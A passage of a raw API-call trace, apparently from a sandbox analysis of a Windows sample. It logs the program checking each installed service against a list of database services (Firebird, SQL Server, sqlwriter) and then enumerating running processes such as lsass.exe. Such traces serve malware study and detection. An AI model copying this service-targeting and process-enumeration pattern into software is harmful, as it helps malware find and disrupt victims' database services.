lpString2="lmhosts") returned -1 [0111.653] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0111.653] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0111.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0111.653] lstrlenW (lpString="LSM") returned 3 [0111.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0111.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0111.653] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0111.653] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0111.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0111.653] lstrlenW (lpString="MpsSvc") returned 6 [0111.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0111.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0111.654] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0111.654] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0111.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0111.654] lstrlenW (lpString="NcbService") returned 10 [0111.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0111.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0111.654] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0111.654] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0111.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0111.654] lstrlenW (lpString="netprofm") returned 8 [0111.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0111.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0111.654] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0111.654] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0111.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0111.654] lstrlenW (lpString="NlaSvc") returned 6 [0111.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0111.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0111.654] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0111.654] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0111.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0111.655] lstrlenW (lpString="nsi") returned 3 [0111.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0111.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0111.655] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0111.655] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0111.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0111.655] lstrlenW (lpString="PcaSvc") returned 6 [0111.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0111.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0111.655] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0111.655] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0111.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0111.655] lstrlenW (lpString="PlugPlay") returned 8 [0111.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0111.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0111.655] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0111.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0111.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0111.656] lstrlenW (lpString="Power") returned 5 [0111.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0111.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0111.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0111.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0111.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0111.656] lstrlenW (lpString="ProfSvc") returned 7 [0111.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0111.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0111.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0111.656] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0111.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0111.656] lstrlenW (lpString="RpcEptMapper") returned 12 [0111.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0111.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0111.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0111.656] lstrlenW (lpString="RpcSs") returned 5 [0111.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0111.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0111.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0111.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0111.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0111.657] lstrlenW (lpString="SamSs") returned 5 [0111.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0111.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0111.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0111.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0111.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0111.657] lstrlenW (lpString="Schedule") returned 8 [0111.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0111.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0111.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0111.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0111.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0111.657] lstrlenW (lpString="SecurityHealthService") returned 21 [0111.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0111.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0111.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0111.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0111.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0111.658] lstrlenW (lpString="SENS") returned 4 [0111.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0111.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0111.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0111.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0111.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0111.658] lstrlenW (lpString="ShellHWDetection") returned 16 [0111.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0111.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0111.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0111.658] lstrlenW (lpString="Spooler") returned 7 [0111.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0111.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0111.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0111.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0111.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0111.658] lstrlenW (lpString="sppsvc") returned 6 [0111.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0111.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0111.659] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0111.659] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0111.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0111.659] lstrlenW (lpString="SSDPSRV") returned 7 [0111.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0111.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0111.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0111.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0111.659] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0111.659] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0111.665] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.666] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.667] lstrlenW (lpString="System") returned 6 [0111.667] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.668] lstrlenW (lpString="smss.exe") returned 8 [0111.668] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.669] lstrlenW (lpString="csrss.exe") returned 9 [0111.669] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.670] lstrlenW (lpString="wininit.exe") returned 11 [0111.670] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.671] lstrlenW (lpString="csrss.exe") returned 9 [0111.671] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.672] lstrlenW (lpString="winlogon.exe") returned 12 [0111.672] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.673] lstrlenW (lpString="services.exe") returned 12 [0111.673] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.674] lstrlenW (lpString="lsass.exe") returned 9 [0111.675] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.676] lstrlenW (lpString="svchost.exe") returned 11 [0111.676] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0111.677] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0111.677] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0111.678] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0111.678] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.679] lstrlenW (lpString="svchost.exe") returned 11 [0111.679] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.687] lstrlenW (lpString="dwm.exe") returned 7 [0111.687] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.688] lstrlenW (lpString="svchost.exe") returned 11 [0111.688] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.689] lstrlenW (lpString="svchost.exe") returned 11 [0111.689] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.690] lstrlenW (lpString="svchost.exe") returned 11 [0111.690] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.691] lstrlenW (lpString="svchost.exe") returned 11 [0111.691] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.726] lstrlenW (lpString="svchost.exe") returned 11 [0111.726] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.727] lstrlenW (lpString="svchost.exe") returned 11 [0111.728] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.728] lstrlenW (lpString="svchost.exe") returned 11 [0111.728] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.729] lstrlenW (lpString="svchost.exe") returned 11 [0111.729] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.730] lstrlenW (lpString="svchost.exe") returned 11 [0111.730] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.731] lstrlenW (lpString="spoolsv.exe") returned 11 [0111.731] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.732] lstrlenW (lpString="svchost.exe") returned 11 [0111.732] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.733] lstrlenW (lpString="svchost.exe") returned 11 [0111.733] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.734] lstrlenW (lpString="audiodg.exe") returned 11 [0111.734] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0111.735] lstrlenW (lpString="sihost.exe") returned 10 [0111.735] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.736] lstrlenW (lpString="svchost.exe") returned 11 [0111.736] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.736] lstrlenW (lpString="taskhostw.exe") returned 13 [0111.737] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0111.737] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0111.737] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0111.738] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0111.738] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.739] lstrlenW (lpString="explorer.exe") returned 12 [0111.739] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0111.740] lstrlenW (lpString="Memory Compression") returned 18 [0111.740] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0111.741] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0111.741] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0111.742] lstrlenW (lpString="SearchUI.exe") returned 12 [0111.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0111.743] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0111.743] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.744] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0111.744] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0111.745] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0111.745] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0111.746] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0111.746] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0111.747] lstrlenW (lpString="conhost.exe") returned 11 [0111.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0111.748] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0111.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0111.749] lstrlenW (lpString="upper arc.exe") returned 13 [0111.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0111.750] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0111.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0111.751] lstrlenW 